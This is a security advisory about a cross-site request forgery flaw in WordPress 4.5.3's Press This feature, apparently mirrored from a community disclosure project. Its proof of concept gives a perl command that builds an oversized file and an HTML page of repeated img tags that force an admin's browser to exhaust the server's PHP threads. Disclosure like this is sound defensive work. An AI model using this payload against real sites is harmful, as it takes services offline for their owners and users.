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WordPress 4.5.3 Press This Function CSRF / Denial Of Service

WordPress 4.5.3 Press This Function CSRF / Denial Of Service
Posted Mar 7, 2017
Authored by Securify B.V., Sipke Mellema

WordPress version 4.5.3 Press This Function suffers from a cross site request forgery vulnerability that can cause a denial of service condition.

tags | exploit, denial of service, csrf
MD5 | 83fd7fe78cebb4f12e22a40081367585

WordPress 4.5.3 Press This Function CSRF / Denial Of Service

Change Mirror Download
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Cross-Site Request Forgery in WordPress Press This function allows DoS
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Sipke Mellema, July 2016

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Abstract
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A Cross-Site Request Forgery (CSRF) vulnerability exists on the Press
This page of WordPress. This issue can be used to create a Denial of
Service (DoS) condition if an authenticated administrator visits a
malicious URL.

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OVE ID
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OVE-20160718-0005

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Tested versions
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This issue was successfully tested on WordPress version 4.5.3.

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Fix
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This issue is resolved in WordPress version 4.7.3.

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Details
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https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_wordpress_press_this_function_allows_dos.html

WordPress' Press This function allows quick publishing with a special web browser bookmarklet. An admin can also visit the Press This page directly. One of the features of Press This is scanning an external server for embeddable content. This is done with a GET request to:
/wp-admin/press-this.php?u=<URL>&url-scan-submit=Scan

When this URL is called, Press This will download the page located at "URL" and look for content such as images and other embeddable elements. No maximum is set for the amount of data Press This can retrieve when scanning. This behavior can be abused by setting the external URL to a huge file and have an authenticated admin visit it. The PHP process will use 100% of its CPU resources to process the file. If an authenticated admin can be lured to an external page, then the malicious URL can be called many times, blocking all PHP server threads. This will cause the server to be unreachable for a while.
Proof of concept

On an external server, create a large text file with the command:
perl -e 'print "<>"x28000000' > foo.txt

Next, create a file called dos.html on the external server with enough entries to fill the connection pool of the WordPress server, as follows:
<img src='http://<wp server>/wp-admin/press-this.php?u=http%3A%2F%2F<external server>%2Ffoo.txt&url-scan-submit=Scan&a=b'>
<img src='http://<wp server>/wp-admin/press-this.php?u=http%3A%2F%2F<external server>%2Ffoo.txt&url-scan-submit=Scan&a=c'>
<img src='http://<wp server>/wp-admin/press-this.php?u=http%3A%2F%2F<external server>%2Ffoo.txt&url-scan-submit=Scan&a=d'>
<img src='http://<wp server>/wp-admin/press-this.php?u=http%3A%2F%2F<external server>%2Ffoo.txt&url-scan-submit=Scan&a=e'>
<img src='http://<wp server>/wp-admin/press-this.php?u=http%3A%2F%2F<external server>%2Ffoo.txt&url-scan-submit=Scan&a=f'>
<img src='http://<wp server>/wp-admin/press-this.php?u=http%3A%2F%2F<external server>%2Ffoo.txt&url-scan-submit=Scan&a=g'>
[..]
(replace <wp server> with the WordPress server address and <external server> with the external server)

Now have a logged in admin visit dos.html. The server will be down for a while.

------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
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